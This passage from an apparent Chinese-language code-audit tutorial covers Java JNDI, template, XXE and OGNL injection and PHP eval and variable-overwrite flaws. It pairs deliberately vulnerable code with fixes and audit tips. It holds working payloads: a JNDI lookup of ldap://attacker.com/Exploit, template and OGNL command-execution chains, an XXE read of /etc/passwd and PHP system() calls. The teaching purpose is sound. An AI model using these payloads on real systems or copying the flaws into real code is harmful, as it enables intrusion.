parser.parseExpression(expr);<br \/>\nreturn expression.getValue(context).toString();<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u3010\u8b66\u544a\u3011SimpleEvaluationContext \u4f1a\u963b\u6b62 T() \u7c7b\u578b\u5f15\u7528\u548c\u65b9\u6cd5\u8c03\u7528&#xff0c;\u4f46\u4ecd\u9700<br \/>\n\u6ce8\u610f\u8868\u8fbe\u5f0f\u6ce8\u5165\u7684\u4fe1\u606f\u6cc4\u9732\u98ce\u9669\u3002\u6700\u4f73\u65b9\u6848\u662f\u4e0d\u5c06\u7528\u6237\u8f93\u5165\u4f5c\u4e3a\u8868\u8fbe\u5f0f\u89e3\u6790\u3002<\/p>\n<h3>3.2 JNDI \u6ce8\u5165\u6f0f\u6d1e\u6316\u6398<\/h3>\n<p>JNDI&#xff08;Java Naming and Directory Interface&#xff09;\u6ce8\u5165\u662f Java \u7ecf\u5178\u6f0f\u6d1e\u7c7b\u578b\u3002<br \/>\n\u5f53\u5e94\u7528\u8c03\u7528 InitialContext.lookup() \u4e14\u53c2\u6570\u7528\u6237\u53ef\u63a7\u65f6&#xff0c;\u653b\u51fb\u8005\u53ef\u6307\u5411\u6076\u610f<br \/>\nLDAP\/RMI \u670d\u52a1&#xff0c;\u52a0\u8f7d\u8fdc\u7a0b\u7c7b\u5b9e\u73b0 RCE\u3002<\/p>\n<p>\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b&#xff1a;<\/p>\n<p>&#096;&#096;&#096;java<br \/>\nimport javax.naming.InitialContext;<\/p>\n<p>&#064;RestController<br \/>\npublic class JndiController {<\/p>\n<p>\u00a0 \u00a0 &#064;GetMapping(&#034;\/jndi&#034;)<br \/>\n\u00a0 \u00a0 public Object jndi(&#064;RequestParam String name) throws Exception {<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 InitialContext ctx &#061; new InitialContext();<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u3010\u6f0f\u6d1e\u3011name \u7528\u6237\u53ef\u63a7&#xff0c;\u53ef\u6307\u5411\u6076\u610f JNDI \u670d\u52a1<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 return ctx.lookup(name);<br \/>\n\u00a0 \u00a0 }<br \/>\n}<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u5ba1\u8ba1\u8981\u70b9&#xff1a;<br \/>\n&#8211; \u641c\u7d22 InitialContext.lookup\u3001Context.lookup\u3001ldap:\/\/\u3001rmi:\/\/<br \/>\n&#8211; \u68c0\u67e5 lookup \u53c2\u6570\u662f\u5426\u6765\u81ea\u914d\u7f6e\u6587\u4ef6\u3001HTTP \u8bf7\u6c42\u3001\u6d88\u606f\u4f53<br \/>\n&#8211; \u5173\u6ce8 Spring Cloud\u3001Log4j \u7b49\u7ec4\u4ef6\u4e2d\u7684 JNDI \u4f7f\u7528<\/p>\n<p>PoC \u5229\u7528\u6d41\u7a0b&#xff1a;<\/p>\n<p>&#096;&#096;&#096;<br \/>\n1. \u653b\u51fb\u8005\u542f\u52a8\u6076\u610f LDAP \u670d\u52a1&#xff08;\u5982 marshalsec \/ JNDI-Injection-Exploit&#xff09;<br \/>\n2. \u53d1\u9001\u8bf7\u6c42&#xff1a;GET \/jndi?name&#061;ldap:\/\/attacker.com\/Exploit<br \/>\n3. \u76ee\u6807\u670d\u52a1\u5668\u52a0\u8f7d\u8fdc\u7a0b\u6076\u610f\u7c7b\u5e76\u6267\u884c<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u5404 JDK \u7248\u672c\u7ed5\u8fc7\u6280\u5de7&#xff1a;<\/p>\n<p>| JDK \u7248\u672c \u00a0 \u00a0| \u9ed8\u8ba4\u9650\u5236 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u7ed5\u8fc7\u65b9\u5f0f \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0|<br \/>\n|&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;|<br \/>\n| JDK &lt; 8u191 | \u65e0\u9650\u5236 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u76f4\u63a5 LDAP \u52a0\u8f7d\u8fdc\u7a0b\u7c7b \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0|<br \/>\n| 8u191&#043; \u00a0 \u00a0 \u00a0| com.sun.jndi.ldap.object.trustURLCodebase&#061;false | \u672c\u5730 Gadget&#xff08;BeanFactory\u3001Tomcat EL&#xff09; |<br \/>\n| 11.0.1&#043; \u00a0 \u00a0 | \u540c\u4e0a \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u672c\u5730 Gadget \/ \u5e8f\u5217\u5316\u5bf9\u8c61 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0|<\/p>\n<p>\u5b89\u5168\u4fee\u590d&#xff1a;<\/p>\n<p>&#096;&#096;&#096;java<br \/>\n\/\/ 1. \u767d\u540d\u5355\u6821\u9a8c JNDI \u540d\u79f0&#xff0c;\u7981\u6b62\u5916\u90e8\u534f\u8bae<br \/>\nprivate static final Set&lt;String&gt; ALLOWED &#061; Set.of(&#034;java:comp\/env\/&#034;);<br \/>\npublic Object safeLookup(String name) throws Exception {<br \/>\n\u00a0 \u00a0 if (!ALLOWED.stream().anyMatch(name::startsWith)) {<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 throw new SecurityException(&#034;\u975e\u6cd5 JNDI \u540d\u79f0&#034;);<br \/>\n\u00a0 \u00a0 }<br \/>\n\u00a0 \u00a0 return new InitialContext().lookup(name);<br \/>\n}<\/p>\n<p>\/\/ 2. \u5347\u7ea7 JDK \u7248\u672c&#xff0c;\u8bbe\u7f6e\u7cfb\u7edf\u5c5e\u6027<br \/>\n\/\/ \u00a0 \u00a0-Dcom.sun.jndi.ldap.object.trustURLCodebase&#061;false<br \/>\n\/\/ \u00a0 \u00a0-Dcom.sun.jndi.rmi.object.trustURLCodebase&#061;false<br \/>\n&#096;&#096;&#096;<\/p>\n<h3>3.3 \u6a21\u677f\u6ce8\u5165&#xff08;SSTI&#xff09;\u6f0f\u6d1e\u6316\u6398<\/h3>\n<p>Java \u6a21\u677f\u5f15\u64ce&#xff08;FreeMarker\u3001Velocity\u3001Thymeleaf&#xff09;\u82e5\u5c06\u7528\u6237\u8f93\u5165\u4f5c\u4e3a\u6a21\u677f<br \/>\n\u5185\u5bb9\u6e32\u67d3&#xff0c;\u4f1a\u5bfc\u81f4 SSTI&#xff08;Server-Side Template Injection&#xff09;\u3002<\/p>\n<p>FreeMarker SSTI \u6f0f\u6d1e\u793a\u4f8b&#xff1a;<\/p>\n<p>&#096;&#096;&#096;java<br \/>\nimport freemarker.template.Configuration;<br \/>\nimport freemarker.template.Template;<\/p>\n<p>&#064;RestController<br \/>\npublic class FreemarkerController {<\/p>\n<p>\u00a0 \u00a0 &#064;GetMapping(&#034;\/render&#034;)<br \/>\n\u00a0 \u00a0 public String render(&#064;RequestParam String templateStr) throws Exception {<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 Configuration cfg &#061; new Configuration(Configuration.VERSION_2_3_31);<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u3010\u6f0f\u6d1e\u3011\u7528\u6237\u8f93\u5165\u76f4\u63a5\u4f5c\u4e3a\u6a21\u677f\u5185\u5bb9<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 Template template &#061; new Template(&#034;userTpl&#034;, templateStr, cfg);<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 StringWriter writer &#061; new StringWriter();<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 template.process(new HashMap&lt;&gt;(), writer);<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 return writer.toString();<br \/>\n\u00a0 \u00a0 }<br \/>\n}<br \/>\n&#096;&#096;&#096;<\/p>\n<p>PoC \u5229\u7528&#xff08;FreeMarker&#xff09;&#xff1a;<\/p>\n<p>&#096;&#096;&#096;<br \/>\n&lt;#assign cmd&#061;&#034;exec&#034;&gt;<br \/>\n${&#034;freemarker.template.utility.Execute&#034;?new()(&#034;id&#034;)}<br \/>\n&#096;&#096;&#096;<\/p>\n<p>Velocity SSTI PoC&#xff1a;<\/p>\n<p>&#096;&#096;&#096;<br \/>\n#set($e&#061;&#034;exp&#034;)<br \/>\n#set($c&#061;$e.class.forName(&#034;java.lang.Runtime&#034;))<br \/>\n#set($m&#061;$c.getMethod(&#034;getRuntime&#034;,$null))<br \/>\n#set($r&#061;$m.invoke($null,$null))<br \/>\n#set($cmd&#061;$r.exec(&#034;id&#034;))<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u5ba1\u8ba1\u8981\u70b9&#xff1a;<br \/>\n&#8211; \u641c\u7d22 Template\u3001process\u3001Velocity\u3001FreeMarker\u3001getTemplate<br \/>\n&#8211; \u533a\u5206&#034;\u7528\u6237\u8f93\u5165\u4f5c\u4e3a\u6570\u636e&#034;\u4e0e&#034;\u7528\u6237\u8f93\u5165\u4f5c\u4e3a\u6a21\u677f&#034;\u2014\u2014\u540e\u8005\u624d\u662f\u6f0f\u6d1e<br \/>\n&#8211; Thymeleaf \u5173\u6ce8 ~{&#8230;} \u7247\u6bb5\u8868\u8fbe\u5f0f\u6ce8\u5165&#xff08;Prepend\/Fragment Injection&#xff09;<\/p>\n<h3>3.4 XML \u5916\u90e8\u5b9e\u4f53\u6ce8\u5165&#xff08;XXE&#xff09;\u5ba1\u8ba1<\/h3>\n<p>XXE \u53d1\u751f\u5728 XML \u89e3\u6790\u5668\u672a\u7981\u7528\u5916\u90e8\u5b9e\u4f53\u5f15\u7528\u65f6&#xff0c;\u53ef\u5bfc\u81f4\u6587\u4ef6\u8bfb\u53d6\u3001SSRF\u3001<br \/>\n\u62d2\u7edd\u670d\u52a1\u3002\u867d\u7136 XXE \u5df2\u662f\u8001\u8bdd\u9898&#xff0c;\u4f46\u5728 Java \u5ba1\u8ba1\u4e2d\u4ecd\u9ad8\u9891\u51fa\u73b0\u3002<\/p>\n<p>\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b&#xff1a;<\/p>\n<p>&#096;&#096;&#096;java<br \/>\nimport javax.xml.parsers.DocumentBuilder;<br \/>\nimport javax.xml.parsers.DocumentBuilderFactory;<br \/>\nimport org.w3c.dom.Document;<\/p>\n<p>&#064;RestController<br \/>\npublic class XxeController {<\/p>\n<p>\u00a0 \u00a0 &#064;PostMapping(value &#061; &#034;\/xml&#034;, consumes &#061; &#034;application\/xml&#034;)<br \/>\n\u00a0 \u00a0 public String parseXml(&#064;RequestBody String xml) throws Exception {<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 DocumentBuilderFactory factory &#061; DocumentBuilderFactory.newInstance();<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u3010\u6f0f\u6d1e\u3011\u672a\u7981\u7528\u5916\u90e8\u5b9e\u4f53<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 DocumentBuilder builder &#061; factory.newDocumentBuilder();<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 Document doc &#061; builder.parse(new InputSource(new StringReader(xml)));<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 return doc.getDocumentElement().getNodeName();<br \/>\n\u00a0 \u00a0 }<br \/>\n}<br \/>\n&#096;&#096;&#096;<\/p>\n<p>PoC \u5229\u7528&#xff08;\u8bfb\u53d6\u6587\u4ef6&#xff09;&#xff1a;<\/p>\n<p>&#096;&#096;&#096;xml<br \/>\n&lt;?xml version&#061;&#034;1.0&#034; encoding&#061;&#034;UTF-8&#034;?&gt;<br \/>\n&lt;!DOCTYPE foo [<br \/>\n\u00a0 &lt;!ENTITY xxe SYSTEM &#034;file:\/\/\/etc\/passwd&#034;&gt;<br \/>\n]&gt;<br \/>\n&lt;foo&gt;&amp;xxe;&lt;\/foo&gt;<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u5ba1\u8ba1\u8981\u70b9&#xff08;\u641c\u7d22\u5371\u9669\u89e3\u6790\u5668&#xff09;&#xff1a;<\/p>\n<p>&#096;&#096;&#096;<br \/>\n&#8211; DocumentBuilderFactory.newInstance()<br \/>\n&#8211; SAXParserFactory.newInstance()<br \/>\n&#8211; XMLReaderFactory.createXMLReader()<br \/>\n&#8211; Unmarshaller.unmarshal()&#xff08;JAXB&#xff09;<br \/>\n&#8211; SAXReader&#xff08;DOM4j&#xff09;<br \/>\n&#8211; XMLInputFactory&#xff08;StAX&#xff09;<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u5b89\u5168\u4fee\u590d&#xff08;\u7981\u7528\u5916\u90e8\u5b9e\u4f53&#xff09;&#xff1a;<\/p>\n<p>&#096;&#096;&#096;java<br \/>\nDocumentBuilderFactory factory &#061; DocumentBuilderFactory.newInstance();<br \/>\n\/\/ \u5173\u952e\u9632\u5fa1&#xff1a;\u7981\u7528 DOCTYPE \u4e0e\u5916\u90e8\u5b9e\u4f53<br \/>\nfactory.setFeature(&#034;http:\/\/apache.org\/xml\/features\/disallow-doctype-decl&#034;, true);<br \/>\nfactory.setFeature(&#034;http:\/\/xml.org\/sax\/features\/external-general-entities&#034;, false);<br \/>\nfactory.setFeature(&#034;http:\/\/xml.org\/sax\/features\/external-parameter-entities&#034;, false);<br \/>\nfactory.setXIncludeAware(false);<br \/>\nfactory.setExpandEntityReferences(false);<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u3010\u63d0\u793a\u3011setFeature \u65b9\u6cd5\u5728\u4e0d\u540c\u89e3\u6790\u5668\u5b9e\u73b0\u4e2d feature URI \u4e0d\u540c&#xff0c;\u5efa\u8bae\u5c01\u88c5<br \/>\n\u7edf\u4e00\u7684 SafeXmlFactory \u5de5\u5177\u7c7b&#xff0c;\u907f\u514d\u9057\u6f0f\u3002<\/p>\n<h3>3.5 \u8868\u8fbe\u5f0f\u6ce8\u5165\u6f0f\u6d1e\u5ba1\u8ba1&#xff08;OGNL \/ MVEL \/ Aviator&#xff09;<\/h3>\n<p>\u9664 SpEL \u5916&#xff0c;Java \u751f\u6001\u8fd8\u6709 OGNL&#xff08;Struts2&#xff09;\u3001MVEL\u3001Aviator \u7b49\u8868\u8fbe\u5f0f\u5f15\u64ce&#xff0c;<br \/>\n\u5747\u5b58\u5728\u6ce8\u5165\u98ce\u9669\u3002<\/p>\n<p>OGNL \u6ce8\u5165\u793a\u4f8b&#xff08;Struts2 \u7ecf\u5178\u573a\u666f&#xff09;&#xff1a;<\/p>\n<p>&#096;&#096;&#096;java<br \/>\nimport ognl.Ognl;<br \/>\nimport ognl.OgnlContext;<\/p>\n<p>\/\/ \u3010\u6f0f\u6d1e\u3011\u7528\u6237\u8f93\u5165\u76f4\u63a5\u4f5c\u4e3a OGNL \u8868\u8fbe\u5f0f<br \/>\npublic Object evalOgnl(String expr) throws Exception {<br \/>\n\u00a0 \u00a0 OgnlContext context &#061; (OgnlContext) Ognl.createDefaultContext(null);<br \/>\n\u00a0 \u00a0 return Ognl.getValue(expr, context, context.getRoot());<br \/>\n}<br \/>\n&#096;&#096;&#096;<\/p>\n<p>OGNL RCE PoC&#xff1a;<\/p>\n<p>&#096;&#096;&#096;<br \/>\n(#_memberAccess&#061;&#064;ognl.OgnlContext&#064;DEFAULT_MEMBER_ACCESS).(<br \/>\n#cmd&#061;&#039;id&#039;).(#iswin&#061;(&#064;java.lang.System&#064;getProperty(&#039;os.name&#039;).<br \/>\ntoLowerCase().contains(&#039;win&#039;))).(#cmds&#061;(#iswin?{&#039;cmd&#039;,&#039;\/c&#039;,#cmd}:<br \/>\n{&#039;\/bin\/bash&#039;,&#039;-c&#039;,#cmd})).(#p&#061;new java.lang.ProcessBuilder(#cmds)).<br \/>\n(#p.redirectErrorStream(true)).(#process&#061;#p.start()))<br \/>\n&#096;&#096;&#096;<\/p>\n<p>MVEL \u6ce8\u5165\u793a\u4f8b&#xff1a;<\/p>\n<p>&#096;&#096;&#096;java<br \/>\nimport org.mvel2.MVEL;<\/p>\n<p>\/\/ \u3010\u6f0f\u6d1e\u3011\u7528\u6237\u8f93\u5165\u4f5c\u4e3a MVEL \u8868\u8fbe\u5f0f<br \/>\nObject result &#061; MVEL.eval(userInput);<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u5ba1\u8ba1\u8981\u70b9&#xff1a;<br \/>\n&#8211; \u641c\u7d22 Ognl.getValue\u3001Ognl.parseExpression\u3001MVEL.eval\u3001Aviator.execute<br \/>\n&#8211; \u68c0\u67e5\u8868\u8fbe\u5f0f\u5185\u5bb9\u662f\u5426\u7528\u6237\u53ef\u63a7<br \/>\n&#8211; Struts2 \u5386\u53f2\u6f0f\u6d1e&#xff08;S2-045\/S2-053\/S2-061&#xff09;\u5173\u6ce8 OGNL \u6ce8\u5165\u70b9<\/p>\n<p>\u5b89\u5168\u4fee\u590d&#xff1a;<br \/>\n&#8211; \u907f\u514d\u5c06\u7528\u6237\u8f93\u5165\u4f5c\u4e3a\u8868\u8fbe\u5f0f\u89e3\u6790<br \/>\n&#8211; Aviator \u53ef\u4f7f\u7528 AviatorEvaluator.execute \u914d\u5408\u767d\u540d\u5355\u51fd\u6570<br \/>\n&#8211; \u5347\u7ea7 Struts2 \u81f3\u6700\u65b0\u7248\u672c\u5e76\u7981\u7528 OGNL \u52a8\u6001\u8c03\u7528<\/p>\n<h2>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n\u56db\u3001PHP \u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/h2>\n<p>PHP \u662f Web \u5b89\u5168\u7684&#034;\u91cd\u707e\u533a&#034;&#xff0c;\u5176\u7075\u6d3b\u7684\u52a8\u6001\u7279\u6027\u4f7f\u5176\u5bb9\u6613\u4ea7\u751f\u5404\u7c7b\u6f0f\u6d1e\u3002<br \/>\n\u672c\u8282\u8bb2\u89e3 PHP \u4e2d\u56db\u7c7b\u5178\u578b\u6f0f\u6d1e\u7684\u5ba1\u8ba1\u65b9\u6cd5\u3002<\/p>\n<h3>4.1 \u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u5ba1\u8ba1&#xff08;eval \/ assert \/ preg_replace&#xff09;<\/h3>\n<p>PHP \u4e2d\u5b58\u5728\u591a\u4e2a\u53ef\u6267\u884c\u4ee3\u7801\u7684\u51fd\u6570&#xff0c;\u5ba1\u8ba1\u65f6\u9700\u91cd\u70b9\u5173\u6ce8\u3002<\/p>\n<p>\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b\u4e00&#xff08;eval&#xff09;&#xff1a;<\/p>\n<p>&#096;&#096;&#096;php<br \/>\n&lt;?php<br \/>\n\/\/ \u3010\u6f0f\u6d1e\u3011\u7528\u6237\u8f93\u5165\u88ab\u62fc\u5165 eval<br \/>\n$code &#061; $_GET[&#039;code&#039;];<br \/>\neval(&#034;echo &#034; . $code . &#034;;&#034;);<br \/>\n\/\/ PoC: ?code&#061;phpinfo()<br \/>\n\/\/ PoC: ?code&#061;system(&#039;id&#039;)<br \/>\n?&gt;<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b\u4e8c&#xff08;assert&#xff09;&#xff1a;<\/p>\n<p>&#096;&#096;&#096;php<br \/>\n&lt;?php<br \/>\n\/\/ \u3010\u6f0f\u6d1e\u3011assert \u5728 PHP 7.2 \u4e4b\u524d\u4f1a\u6267\u884c\u5b57\u7b26\u4e32\u4ee3\u7801<br \/>\n$expr &#061; $_POST[&#039;expr&#039;];<br \/>\nassert($expr);<br \/>\n\/\/ PoC: expr&#061;system(&#039;whoami&#039;)<br \/>\n?&gt;<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b\u4e09&#xff08;preg_replace \/e \u4fee\u9970\u7b26&#xff09;&#xff1a;<\/p>\n<p>&#096;&#096;&#096;php<br \/>\n&lt;?php<br \/>\n\/\/ \u3010\u6f0f\u6d1e\u3011\/e \u4fee\u9970\u7b26\u5728 PHP 5.5 \u4e4b\u524d\u4f1a\u6267\u884c\u66ff\u6362\u5185\u5bb9\u4e3a\u4ee3\u7801<br \/>\n$pattern &#061; $_GET[&#039;pattern&#039;];<br \/>\n$subject &#061; &#039;hello world&#039;;<br \/>\n$result &#061; preg_replace(&#039;\/&#039; . $pattern . &#039;\/e&#039;, &#039;system(&#034;id&#034;)&#039;, $subject);<br \/>\n\/\/ PoC: pattern&#061;.* \u00a0(\u5c06\u5339\u914d\u5185\u5bb9\u66ff\u6362\u4e3a system(&#034;id&#034;) \u7684\u6267\u884c\u7ed3\u679c)<br \/>\n?&gt;<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u5ba1\u8ba1\u8981\u70b9&#xff08;\u5168\u5c40\u641c\u7d22\u5371\u9669\u51fd\u6570&#xff09;&#xff1a;<\/p>\n<p>&#096;&#096;&#096;<br \/>\neval( \u00a0 \u00a0 \u00a0 \u00a0 \u00a0assert( \u00a0 \u00a0 \u00a0 \u00a0 preg_replace(.*\\\\\/e<br \/>\ncreate_function( \u00a0call_user_func( \u00a0call_user_func_array(<br \/>\nusort( \u00a0 \u00a0 \u00a0 \u00a0 uasort( \u00a0 \u00a0 \u00a0 \u00a0 array_map( \u00a0 \u00a0 \u00a0 array_filter(<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u3010\u6ce8\u610f\u3011call_user_func\u3001array_map \u7b49\u56de\u8c03\u51fd\u6570\u82e5\u7b2c\u4e00\u4e2a\u53c2\u6570&#xff08;\u56de\u8c03\u540d&#xff09;\u7528\u6237<br \/>\n\u53ef\u63a7&#xff0c;\u540c\u6837\u53ef\u5bfc\u81f4\u4ee3\u7801\u6267\u884c\u3002\u5ba1\u8ba1\u65f6\u4e0d\u8981\u53ea\u770b eval\u3002<\/p>\n<p>\u52a8\u6001\u51fd\u6570\u8c03\u7528\u5ba1\u8ba1&#xff1a;<\/p>\n<p>&#096;&#096;&#096;php<br \/>\n&lt;?php<br \/>\n\/\/ \u3010\u6f0f\u6d1e\u3011\u52a8\u6001\u51fd\u6570\u8c03\u7528&#xff0c;$func \u7528\u6237\u53ef\u63a7<br \/>\n$func &#061; $_GET[&#039;func&#039;];<br \/>\n$arg \u00a0&#061; $_GET[&#039;arg&#039;];<br \/>\n$func($arg);<br \/>\n\/\/ PoC: ?func&#061;system&amp;arg&#061;id<br \/>\n?&gt;<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u5b89\u5168\u4fee\u590d&#xff1a;<\/p>\n<p>&#096;&#096;&#096;php<br \/>\n&lt;?php<br \/>\n\/\/ \u4f7f\u7528\u767d\u540d\u5355\u9650\u5236\u53ef\u8c03\u7528\u51fd\u6570<br \/>\n$allowed &#061; [&#039;strlen&#039;, &#039;strtoupper&#039;, &#039;trim&#039;];<br \/>\n$func &#061; $_GET[&#039;func&#039;];<br \/>\nif (!in_array($func, $allowed, true)) {<br \/>\n\u00a0 \u00a0 die(&#039;\u975e\u6cd5\u8c03\u7528&#039;);<br \/>\n}<br \/>\n$func($_GET[&#039;arg&#039;]);<br \/>\n?&gt;<br \/>\n&#096;&#096;&#096;<\/p>\n<h3>4.2 \u53d8\u91cf\u8986\u76d6\u6f0f\u6d1e\u5ba1\u8ba1&#xff08;extract \/ parse_str&#xff09;<\/h3>\n<p>PHP \u7684 extract() \u548c parse_str() \u53ef\u5c06\u6570\u7ec4\/\u5b57\u7b26\u4e32\u89e3\u6790\u4e3a\u53d8\u91cf&#xff0c;\u82e5\u5904\u7406\u7528\u6237<br \/>\n\u8f93\u5165&#xff0c;\u53ef\u8986\u76d6\u5df2\u6709\u53d8\u91cf&#xff0c;\u5bfc\u81f4\u8ba4\u8bc1\u7ed5\u8fc7\u3001\u903b\u8f91\u6f0f\u6d1e\u3002<\/p>\n<p>\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b\u4e00&#xff08;extract \u8986\u76d6\u8ba4\u8bc1\u53d8\u91cf&#xff09;&#xff1a;<\/p>\n<p>&#096;&#096;&#096;php<br \/>\n&lt;?php<br \/>\n\/\/ \u3010\u6f0f\u6d1e\u3011extract \u5904\u7406\u7528\u6237\u8f93\u5165&#xff0c;\u53ef\u8986\u76d6 $is_admin<br \/>\n$is_admin &#061; false;<br \/>\nextract($_GET);<br \/>\nif ($is_admin) {<br \/>\n\u00a0 \u00a0 echo &#034;\u6b22\u8fce\u7ba1\u7406\u5458&#034;;<br \/>\n\u00a0 \u00a0 \/\/ \u654f\u611f\u64cd\u4f5c&#8230;<br \/>\n}<br \/>\n\/\/ PoC: ?is_admin&#061;1<br \/>\n?&gt;<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b\u4e8c&#xff08;parse_str \u8986\u76d6\u914d\u7f6e&#xff09;&#xff1a;<\/p>\n<p>&#096;&#096;&#096;php<br \/>\n&lt;?php<br \/>\n\/\/ \u3010\u6f0f\u6d1e\u3011parse_str \u5c06\u67e5\u8be2\u5b57\u7b26\u4e32\u89e3\u6790\u4e3a\u53d8\u91cf<br \/>\n$config &#061; [&#039;db_host&#039; &#061;&gt; &#039;localhost&#039;, &#039;debug&#039; &#061;&gt; false];<br \/>\n$query &#061; $_SERVER[&#039;QUERY_STRING&#039;];<br \/>\nparse_str($query);<br \/>\n\/\/ \u653b\u51fb\u8005\u4f20\u5165 ?config[debug]&#061;1 \u53ef\u8986\u76d6 $config \u6570\u7ec4<br \/>\nif ($config[&#039;debug&#039;]) {<br \/>\n\u00a0 \u00a0 phpinfo();<br \/>\n}<br \/>\n\/\/ PoC: ?config[debug]&#061;1<br \/>\n?&gt;<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u5ba1\u8ba1\u8981\u70b9&#xff1a;<br \/>\n&#8211; \u641c\u7d22 extract(\u3001parse_str(<br \/>\n&#8211; \u68c0\u67e5 extract \u7684\u7b2c\u4e8c\u4e2a\u53c2\u6570\u662f\u5426\u4e3a EXTR_SKIP&#xff08;\u5b89\u5168\u6a21\u5f0f&#xff09;<br \/>\n&#8211; \u68c0\u67e5 parse_str \u662f\u5426\u4f7f\u7528\u4e86\u7b2c\u4e8c\u4e2a\u53c2\u6570&#xff08;\u7ed1\u5b9a\u5230\u6570\u7ec4\u800c\u975e\u5f53\u524d\u4f5c\u7528\u57df&#xff09;<br \/>\n&#8211; \u5173\u6ce8 $$ \u53ef\u53d8\u53d8\u91cf&#xff08;Variable Variables&#xff09;\u5bfc\u81f4\u7684\u8986\u76d6<\/p>\n<p>\u53ef\u53d8\u53d8\u91cf\u6f0f\u6d1e\u793a\u4f8b&#xff1a;<\/p>\n<p>&#096;&#096;&#096;php<br \/>\n&lt;?php<br \/>\n\/\/ \u3010\u6f0f\u6d1e\u3011$$ \u53ef\u53d8\u53d8\u91cf\u8986\u76d6<br \/>\nforeach ($_GET as $key &#061;&gt; $value) {<br \/>\n\u00a0 \u00a0 $$key &#061; $value; \u00a0 \/\/ \u5371\u9669&#xff01;\u53ef\u8986\u76d6\u4efb\u610f\u53d8\u91cf<br \/>\n}<br \/>\n\/\/ PoC: ?_SESSION[uid]&#061;1 \u00a0\u8986\u76d6\u4f1a\u8bdd\u53d8\u91cf<br \/>\n?&gt;<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u5b89\u5168\u4fee\u590d&#xff1a;<\/p>\n<p>&#096;&#096;&#096;php<br \/>\n&lt;?php<br \/>\n\/\/ \u65b9\u6848 1&#xff1a;extract \u4f7f\u7528 EXTR_SKIP&#xff0c;\u4e0d\u8986\u76d6\u5df2\u6709\u53d8\u91cf<br \/>\nextract($_GET, EXTR_SKIP);<\/p>\n<p>\/\/ \u65b9\u6848 2&#xff1a;parse_str \u7ed1\u5b9a\u5230\u6307\u5b9a\u6570\u7ec4<br \/>\nparse_str($query, $params);<br \/>\n$config &#061; array_merge($defaultConfig, $params);<\/p>\n<p>\/\/ \u65b9\u6848 3&#xff1a;\u907f\u514d\u53ef\u53d8\u53d8\u91cf&#xff0c;\u663e\u5f0f\u53d6\u503c<br \/>\n$id &#061; isset($_GET[&#039;id&#039;]) ? intval($_GET[&#039;id&#039;]) : 0;<br \/>\n?&gt;<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u3010\u8b66\u544a\u3011register_globals \u5df2\u5728 PHP 5.4 \u79fb\u9664&#xff0c;\u4f46 $$ \u53ef\u53d8\u53d8\u91cf\u548c extract<br \/>\n\u4ecd\u53ef\u5728\u73b0\u4ee3 PHP \u4e2d\u9020\u6210\u540c\u7b49\u7684\u53d8\u91cf\u8986\u76d6\u5371\u5bb3&#xff0c;\u5ba1\u8ba1\u65f6\u52a1\u5fc5\u8b66\u60d5\u3002<\/p>\n<h3>4.3 